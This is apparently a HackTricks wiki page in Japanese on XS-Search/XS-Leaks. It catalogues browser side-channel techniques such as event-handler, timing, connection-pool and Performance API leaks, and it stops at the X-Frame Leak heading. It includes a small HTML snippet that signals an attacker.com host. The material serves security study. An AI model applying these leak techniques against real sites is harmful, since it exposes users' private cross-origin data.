# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

{% hint style="success" %}
AWSハッキングを学び、実践する：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricksをサポートする</summary>

* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**

</details>
{% endhint %}

## 基本情報

XS-Searchは、**サイドチャネル脆弱性**を利用して**クロスオリジン情報を抽出する**ための手法です。

この攻撃に関与する主要なコンポーネントは以下の通りです：

* **脆弱なWeb**：情報を抽出することを目的としたターゲットウェブサイト。
* **攻撃者のWeb**：攻撃者が作成した悪意のあるウェブサイトで、被害者が訪れ、エクスプロイトをホストしています。
* **インクルージョンメソッド**：脆弱なWebを攻撃者のWebに組み込むために使用される技術（例：window.open、iframe、fetch、hrefを持つHTMLタグなど）。
* **リーク技術**：インクルージョンメソッドを通じて収集された情報に基づいて、脆弱なWebの状態の違いを識別するために使用される技術。
* **状態**：攻撃者が区別しようとする脆弱なWebの2つの潜在的な条件。
* **検出可能な違い**：攻撃者が脆弱なWebの状態を推測するために依存する観察可能な変化。

### 検出可能な違い

脆弱なWebの状態を区別するために分析できるいくつかの側面：

* **ステータスコード**：サーバーエラー、クライアントエラー、または認証エラーなど、クロスオリジンの**さまざまなHTTPレスポンスステータスコード**を区別します。
* **API使用**：特定のJavaScript Web APIを使用しているかどうかを明らかにするために、ページ間の**Web APIの使用**を特定します。
* **リダイレクト**：HTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされる異なるページへのナビゲーションを検出します。
* **ページコンテンツ**：HTTPレスポンスボディやページのサブリソースにおける**変化を観察**します。例えば、**埋め込まれたフレームの数**や画像のサイズの違いなど。
* **HTTPヘッダー**：特定のHTTPレスポンスヘッダーの存在やその値を記録します。X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなどのヘッダーが含まれます。
* **タイミング**：2つの状態間の一貫した時間の違いに気づきます。

### インクルージョンメソッド

* **HTML要素**：HTMLは、スタイルシート、画像、スクリプトなど、**クロスオリジンリソースのインクルージョン**のためのさまざまな要素を提供し、ブラウザに非HTMLリソースを要求させます。この目的のための潜在的なHTML要素の一覧は[https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)で見つけることができます。
* **フレーム**：**iframe**、**object**、および**embed**などの要素は、攻撃者のページにHTMLリソースを直接埋め込むことができます。ページが**フレーミング保護を欠いている**場合、JavaScriptはcontentWindowプロパティを介してフレーム化されたリソースのウィンドウオブジェクトにアクセスできます。
* **ポップアップ**：**`window.open`**メソッドは、新しいタブまたはウィンドウでリソースを開き、JavaScriptがSOPに従ってメソッドやプロパティと対話するための**ウィンドウハンドル**を提供します。ポップアップは、シングルサインオンでよく使用され、ターゲットリソースのフレーミングおよびクッキー制限を回避します。ただし、最新のブラウザはポップアップの作成を特定のユーザーアクションに制限しています。
* **JavaScriptリクエスト**：JavaScriptは、**XMLHttpRequests**や**Fetch API**を使用してターゲットリソースへの直接リクエストを許可します。これらのメソッドは、HTTPリダイレクトに従うかどうかを選択するなど、リクエストに対する正確な制御を提供します。

### リーク技術

* **イベントハンドラー**：XS-Leaksにおける古典的なリーク技術で、**onload**や**onerror**のようなイベントハンドラーがリソースの読み込みの成功または失敗に関する洞察を提供します。
* **エラーメッセージ**：JavaScriptの例外や特別なエラーページは、エラーメッセージから直接またはその存在と不在を区別することによってリーク情報を提供できます。
* **グローバル制限**：ブラウザの物理的制限（メモリ容量や他の強制されたブラウザ制限など）は、しきい値に達したときに信号を送ることができ、リーク技術として機能します。
* **グローバル状態**：ブラウザの**グローバル状態**（例：履歴インターフェース）との検出可能な相互作用を悪用できます。例えば、ブラウザの履歴の**エントリ数**は、クロスオリジンページに関する手がかりを提供できます。
* **パフォーマンスAPI**：このAPIは、**現在のページのパフォーマンス詳細**を提供し、ドキュメントや読み込まれたリソースのネットワークタイミングを含み、要求されたリソースに関する推測を可能にします。
* **読み取り可能な属性**：いくつかのHTML属性は**クロスオリジンで読み取り可能**であり、リーク技術として使用できます。例えば、`window.frame.length`プロパティは、JavaScriptがクロスオリジンのウェブページに含まれるフレームの数をカウントすることを可能にします。

## XSinatorツールと論文

XSinatorは、**いくつかの既知のXS-Leaksに対してブラウザをチェックする**自動ツールです。詳細はその論文で説明されています：[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)

ツールには[**https://xsinator.com/**](https://xsinator.com/)でアクセスできます。

{% hint style="warning" %}
**除外されたXS-Leaks**：他のリークに干渉するため、**サービスワーカー**に依存するXS-Leaksを除外する必要がありました。さらに、特定のWebアプリケーションの誤設定やバグに依存するXS-Leaksも**除外することにしました**。例えば、CrossOrigin Resource Sharing (CORS)の誤設定、postMessageのリーク、またはCross-Site Scripting。加えて、時間ベースのXS-Leaksも除外しました。なぜなら、これらはしばしば遅く、ノイズが多く、不正確であるからです。
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## **タイミングベースの技術**

以下の技術のいくつかは、ウェブページの可能な状態の違いを検出するプロセスの一部としてタイミングを使用します。ウェブブラウザで時間を測定する方法はいくつかあります。

**時計**： [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) APIは、開発者が高解像度のタイミング測定を取得することを可能にします。\
攻撃者が暗黙の時計を作成するために悪用できるAPIは多数あります：[Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API)、[Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel)、[requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)、[setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)、CSSアニメーションなど。\
詳細については：[https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)を参照してください。

## イベントハンドラ技術

### Onload/Onerror

* **インクルージョンメソッド**：フレーム、HTML要素
* **検出可能な違い**：ステータスコード
* **詳細情報**：[https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu)、[https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **概要**：リソースを読み込もうとすると、onerror/onloadイベントがトリガーされ、リソースが成功裏に/失敗して読み込まれたかどうかを判断することができます。
* **コード例**：[https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

コード例は、**JSからスクリプトオブジェクトを読み込もうとしますが、**オブジェクト、スタイルシート、画像、音声などの**他のタグ**も使用できます。さらに、**タグを直接挿入**し、その中に`onload`および`onerror`イベントを宣言することも可能です（JSから挿入するのではなく）。

この攻撃にはスクリプトなしのバージョンもあります：
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
In this case if `example.com/404` is not found `attacker.com/?error` will be loaded.

### Onload Timing

* **Inclusion Methods**: HTML要素
* **Detectable Difference**: タイミング（一般的にページコンテンツ、ステータスコードによる）
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Summary:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**は、リクエストを実行するのにかかる時間を測定するために使用できます。ただし、他の時計も使用でき、例えば[**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)は、50ms以上実行されているタスクを特定できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 別の例は:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Onload Timing + Forced Heavy Task

この技術は前のものと似ていますが、**攻撃者**は**関連する時間**をかける**アクションを強制**し、**応答が肯定的または否定的**なときにその時間を測定します。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### unload/beforeunload Timing

* **Inclusion Methods**: フレーム
* **Detectable Difference**: タイミング（一般的にページコンテンツ、ステータスコードによる）
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Summary:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers)は、リクエストを実行するのにかかる時間を測定するために使用できます。他の時計も使用できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

リソースを取得するのにかかる時間は、[`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event)および[`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event)イベントを利用して測定できます。**`beforeunload`**イベントは、ブラウザが新しいページに移動しようとしているときに発生し、**`unload`**イベントは、実際にナビゲーションが行われているときに発生します。これら2つのイベント間の時間差を計算することで、**ブラウザがリソースを取得するのにかかった時間**を特定できます。

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Inclusion Methods**: フレーム
* **Detectable Difference**: タイミング（一般的にページコンテンツ、ステータスコードによる）
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Summary:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIは、リクエストを実行するのにかかる時間を測定するために使用できます。他の時計も使用できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)がない場合、ページとそのサブリソースがネットワーク上で読み込まれるのにかかる時間を攻撃者が測定できることが観察されています。この測定は通常可能で、iframeの`onload`ハンドラーはリソースの読み込みとJavaScriptの実行が完了した後にのみトリガーされるためです。スクリプト実行によって導入される変動を回避するために、攻撃者は`<iframe>`内で[`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)属性を使用するかもしれません。この属性を含めることで、多くの機能が制限され、特にJavaScriptの実行が制限されるため、ネットワークパフォーマンスに主に影響される測定が容易になります。
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**:
* **Summary**: 正しいコンテンツにアクセスしたときにページがエラーを出し、任意のコンテンツにアクセスしたときに正しく読み込まれるようにできる場合、時間を測ることなくすべての情報を抽出するためのループを作成できます。
* **Code Example**:

あなたが**秘密の**コンテンツを**Iframeの中に**持つ**ページ**を**挿入**できると仮定します。

あなたは**被害者に**"_**flag**_"を含むファイルを**Iframe**を使って検索させることができます（例えばCSRFを悪用する）。Iframeの中では、_**onloadイベント**_が**常に少なくとも一度は実行される**ことがわかっています。次に、**URL**の**iframe**を変更できますが、URLの**ハッシュ**の**コンテンツ**だけを変更します。

例えば：

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

最初のURLが**正常に読み込まれた**場合、**URLのハッシュ**部分を**変更**すると、**onload**イベントは**再度トリガーされません**。しかし、ページが**読み込み時に何らかのエラー**を持っていた場合、**onload**イベントは**再度トリガーされます**。

そのため、**正しく**読み込まれたページと、アクセス時に**エラー**が発生したページを**区別**できます。

### Javascript Execution

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**:
* **Summary:** **ページ**が**機密**コンテンツを**返す**、**または**ユーザーによって**制御**可能な**コンテンツ**を返す場合。ユーザーは**負のケース**で**有効なJSコードを設定**し、各試行を**`<script>`**タグ内で**読み込む**ことができます。したがって、**負の**ケースでは攻撃者の**コード**が**実行され**、**肯定的**なケースでは**何も**実行されません。
* **Code Example:**

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Inclusion Methods**: HTML要素
* **Detectable Difference**: ステータスコード & ヘッダー
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Summary**: **Cross-Origin Read Blocking (CORB)**は、攻撃から保護するために特定の機密クロスオリジンリソースの読み込みを防ぐセキュリティ対策です。しかし、攻撃者はその保護的な動作を悪用できます。**CORB**の対象となる応答が`nosniff`と`2xx`ステータスコードを持つ_**CORB保護された**_ `Content-Type`を返すと、**CORB**は応答のボディとヘッダーを削除します。これを観察する攻撃者は、**ステータスコード**（成功またはエラーを示す）と`Content-Type`（**CORB**によって保護されているかどうかを示す）の組み合わせを推測し、潜在的な情報漏洩につながります。
* **Code Example**:

攻撃に関する詳細情報は、より多くの情報リンクを確認してください。

### onblur

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Summary**: idまたはname属性から機密データを漏洩させる。
* **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

**iframe**内に**ページを読み込む**ことが可能で、**`#id_value`**を使用して、指定されたifのiframeの要素に**ページをフォーカス**させることができます。次に、**`onblur`**信号がトリガーされると、ID要素が存在します。\
同じ攻撃を**`portal`**タグで実行できます。

### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Inclusion Methods**: フレーム, ポップアップ
* **Detectable Difference**: API使用
* **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Summary**: postMessageから機密情報を収集するか、postMessagesの存在をオラクルとして使用してページ内のユーザーの状態を知る
* **Code Example**: `すべてのpostMessagesをリッスンする任意のコード。`

アプリケーションは、異なるオリジン間で通信するために頻繁に[`postMessage`ブロードキャスト](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)を利用します。しかし、この方法は、`targetOrigin`パラメータが適切に指定されていない場合、**機密情報**を不注意に露出させる可能性があります。さらに、メッセージを受信する行為自体が**オラクル**として機能する可能性があります。たとえば、特定のメッセージは、ログインしているユーザーにのみ送信される場合があります。したがって、これらのメッセージの存在または不在は、ユーザーの状態やアイデンティティに関する情報を明らかにする可能性があります。

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフロー**を簡単に構築および**自動化**します。\
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## グローバル制限技術

### WebSocket API

* **Inclusion Methods**: フレーム, ポップアップ
* **Detectable Difference**: API使用
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: WebSocket接続制限を使い果たすことで、クロスオリジンページのWebSocket接続数が漏洩します。
* **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

ターゲットページが使用している**WebSocket接続の数**を特定することが可能です。これにより、攻撃者はアプリケーションの状態を検出し、WebSocket接続の数に関連する情報を漏洩させることができます。

ある**オリジン**が**最大数のWebSocket**接続オブジェクトを使用している場合、接続状態に関係なく、新しいオブジェクトの作成は**JavaScript例外を引き起こします**。この攻撃を実行するために、攻撃者のウェブサイトはターゲットウェブサイトをポップアップまたはiframeで開き、その後、ターゲットウェブが読み込まれた後、可能な限り最大数のWebSocket接続を作成しようとします。**スローされた例外の数**は、ターゲットウェブサイトウィンドウが使用している**WebSocket接続の数**です。

### Payment API

* **Inclusion Methods**: フレーム, ポップアップ
* **Detectable Difference**: API使用
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: 一度にアクティブにできるのは1つだけなので、Payment Requestを検出します。
* **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

このXS-Leakは、攻撃者が**クロスオリジンページが支払いリクエストを開始したとき**を検出することを可能にします。

**支払いリクエストは一度に1つだけアクティブ**にできるため、ターゲットウェブサイトがPayment Request APIを使用している場合、このAPIを使用しようとする**さらなる試みは失敗**し、**JavaScript例外**を引き起こします。攻撃者は、**定期的にPayment API UIを表示しようとする**ことでこれを悪用できます。1回の試行が例外を引き起こす場合、ターゲットウェブサイトは現在それを使用しています。攻撃者は、作成後すぐにUIを閉じることで、これらの定期的な試行を隠すことができます。

### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **Inclusion Methods**:
* **Detectable Difference**: タイミング（一般的にページコンテンツ、ステータスコードによる）
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Summary:** シングルスレッドのJSイベントループを悪用して、ウェブの実行時間を測定します。
* **Code Example**:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

JavaScriptは[シングルスレッドのイベントループ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)の並行モデルで動作し、**一度に1つのタスクしか実行できない**ことを意味します。この特性は、**異なるオリジンのコードが実行されるのにかかる時間を測定するために悪用できます**。攻撃者は、固定プロパティを持つイベントを継続的にディスパッチすることで、イベントループ内で自分のコードの実行時間を測定できます。これらのイベントは、イベントプールが空のときに処理されます。他のオリジンも同じプールにイベントをディスパッチしている場合、**攻撃者は自分のタスクの実行の遅延を観察することで、これらの外部イベントが実行されるのにかかる時間を推測できます**。遅延のためにイベントループを監視するこの方法は、異なるオリジンのコードの実行時間を明らかにし、機密情報を露出させる可能性があります。

{% hint style="warning" %}
実行タイミングでは、**より正確な測定**を得るために**ネットワーク要因を排除**することが可能です。たとえば、ページを読み込む前に使用されるリソースを読み込むことによって。
{% endhint %}

### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>

* **Inclusion Methods**:
* **Detectable Difference**: タイミング（一般的にページコンテンツ、ステータスコードによる）
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Summary:** ウェブ操作の実行時間を測定する方法の1つは、スレッドのイベントループを意図的にブロックし、**イベントループが再び利用可能になるまでの時間を測定する**ことです。ブロッキング操作（長い計算や同期API呼び出しなど）をイベントループに挿入し、その後のコードが実行を開始するまでの時間を監視することで、ブロッキング期間中にイベントループで実行されていたタスクの期間を推測できます。この技術は、タスクが順次実行されるJavaScriptのイベントループのシングルスレッドの性質を利用しており、同じスレッドを共有する他の操作のパフォーマンスや動作に関する洞察を提供できます。
* **Code Example**:

イベントループをロックして実行時間を測定する技術の大きな利点は、**サイトの分離**を回避する可能性です。**サイトの分離**は、異なるウェブサイトを別々のプロセスに分けるセキュリティ機能であり、悪意のあるサイトが他のサイトから機密データに直接アクセスするのを防ぐことを目的としています。しかし、共有イベントループを通じて他のオリジンの実行タイミングに影響を与えることで、攻撃者はそのオリジンの活動に関する情報を間接的に抽出できます。この方法は、他のオリジンのデータに直接アクセスすることに依存せず、そのオリジンの活動が共有イベントループに与える影響を観察することで、**サイトの分離**によって確立された保護バリアを回避します。

{% hint style="warning" %}
実行タイミングでは、**より正確な測定**を得るために**ネットワーク要因を排除**することが可能です。たとえば、ページを読み込む前に使用されるリソースを読み込むことによって。
{% endhint %}

### Connection Pool

* **Inclusion Methods**: JavaScriptリクエスト
* **Detectable Difference**: タイミング（一般的にページコンテンツ、ステータスコードによる）
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Summary:** 攻撃者は1つを除くすべてのソケットをロックし、ターゲットウェブを読み込み、同時に別のページを読み込むことで、最後のページが読み込みを開始するまでの時間がターゲットページの読み込みにかかった時間です。
* **Code Example**:

{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}

ブラウザはサーバー通信のためにソケットを利用しますが、オペレーティングシステムとハードウェアのリソースが限られているため、**ブラウザは同時ソケットの数に制限を課すことを余儀なくされています**。攻撃者はこの制限を次の手順で悪用できます：

1. ブラウザのソケット制限を確認します。たとえば、256のグローバルソケット。
2. 255のソケットを長時間占有し、接続を完了せずにさまざまなホストに255のリクエストを開始します。
3. 256番目のソケットを使用してターゲットページにリクエストを送信します。
4. 別のホストに257番目のリクエストを試みます。すべてのソケットが使用中であるため（手順2と3に従って）、このリクエストはソケットが利用可能になるまでキューに入れられます。このリクエストが進行するまでの遅延は、攻撃者に256番目のソケット（ターゲットページのソケット）に関連するネットワーク活動のタイミング情報を提供します。この推測が可能なのは、手順2の255のソケットがまだ使用中であるため、新たに利用可能なソケットは手順3から解放されたものである必要があるからです。したがって、256番目のソケットが利用可能になるまでの時間は、ターゲットページへのリクエストが完了するのにかかる時間に直接関連しています。

詳細情報については、[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)を参照してください。

### Connection Pool by Destination

* **Inclusion Methods**: JavaScriptリクエスト
* **Detectable Difference**: タイミング（一般的にページコンテンツ、ステータスコードによる）
* **More info**:
* **Summary:** 前の技術と似ていますが、すべてのソケットを使用するのではなく、Google **Chrome**は**同じオリジンに対して6つの同時リクエストの制限**を設けています。もし**5つをブロック**し、次に**6番目の**リクエストを**発信**すると、**タイミング**を測定でき、**被害者ページが**同じエンドポイントに**リクエストを送信**させることに成功すれば、**6番目のリクエスト**は**長く**かかり、それを検出できます。

## パフォーマンスAPI技術

[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance)は、ウェブアプリケーションのパフォーマンスメトリクスに関する洞察を提供し、[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API)によってさらに強化されます。Resource Timing APIは、リクエストの期間など、詳細なネットワークリクエストのタイミングを監視することを可能にします。特に、サーバーが応答に`Timing-Allow-Origin: *`ヘッダーを含めると、転送サイズやドメインルックアップ時間などの追加データが利用可能になります。

この豊富なデータは、[`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries)や[`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)などのメソッドを介して取得でき、パフォーマンス関連情報の包括的なビューを提供します。さらに、APIは[`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)から取得したタイムスタンプの差を計算することで、実行時間の測定を容易にします。ただし、Chromeなどのブラウザでは、`performance.now()`の精度がミリ秒に制限される場合があり、タイミング測定の粒度に影響を与える可能性があります。

タイミング測定を超えて、Performance APIはセキュリティ関連の洞察にも利用できます。たとえば、Chromeの`performance`オブジェクトにページが存在するかどうかは、`X-Frame-Options`の適用を示す可能性があります。具体的には、`X-Frame-Options`によってフレーム内でのレンダリングがブロックされているページは、`performance`オブジェクトに記録されないため、ページのフレーミングポリシーに関する微妙な手がかりを提供します。

### エラーレーク

* **Inclusion Methods**: フレーム, HTML要素
* **Detectable Difference**: ステータスコード
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** エラーを引き起こすリクエストはリソースタイミングエントリを作成しません。
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

HTTP応答ステータスコードを**区別することが可能**です。なぜなら、**エラー**を引き起こすリクエストは**パフォーマンスエントリを作成しない**からです。

### スタイルリロードエラー

* **Inclusion Methods**: HTML要素
* **Detectable Difference**: ステータスコード
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** ブラウザのバグにより、エラーを引き起こすリクエストは2回読み込まれます。
* **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

前の技術では、GCのブラウザバグにより、**リソースが読み込まれないときに2回読み込まれる**2つのケースが特定されました。これにより、Performance APIに複数のエントリが生成され、検出可能になります。

### リクエストマージエラー

* **Inclusion Methods**: HTML要素
* **Detectable Difference**: ステータスコード
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** エラーを引き起こすリクエストはマージできません。
* **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

この技術は、前述の論文の表に見つかりましたが、技術の説明は見つかりませんでした。ただし、[https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)でソースコードを確認することができます。

### 空のページリーク

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** 空の応答はリソースタイミングエントリを作成しません。
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

攻撃者は、リクエストが空のHTTP応答ボディをもたらしたかどうかを検出できます。なぜなら、**空のページは一部のブラウザでパフォーマンスエントリを作成しない**からです。

### **XSS-Auditor Leak**

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** セキュリティアサーションでXSS Auditorを使用することで、攻撃者は特定のウェブページ要素を、作成されたペイロードが監査人のフィルタリングメカニズムをトリガーしたときの応答の変化を観察することで検出できます。
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

セキュリティアサーション（SA）において、元々クロスサイトスクリプティング（XSS）攻撃を防ぐために設計されたXSS Auditorは、逆説的に機密情報を漏洩させるために悪用される可能性があります。この組み込み機能はGoogle Chrome（GC）から削除されましたが、SAにはまだ存在します。2013年、BraunとHeiderichは、XSS Auditorが正当なスクリプトを誤ってブロックし、偽陽性を引き起こす可能性があることを示しました。これを基に、研究者たちは情報を抽出し、クロスオリジンページ上の特定のコンテンツを検出する技術を開発しました。この概念はXS-Leaksとして知られ、最初にTeradaによって報告され、Heyesによってブログ投稿で詳述されました。これらの技術はGCのXSS Auditorに特有でしたが、SAではXSS AuditorによってブロックされたページはPerformance APIにエントリを生成しないことが発見され、機密情報が漏洩する可能性がある方法が明らかになりました。

### X-Frame Leak

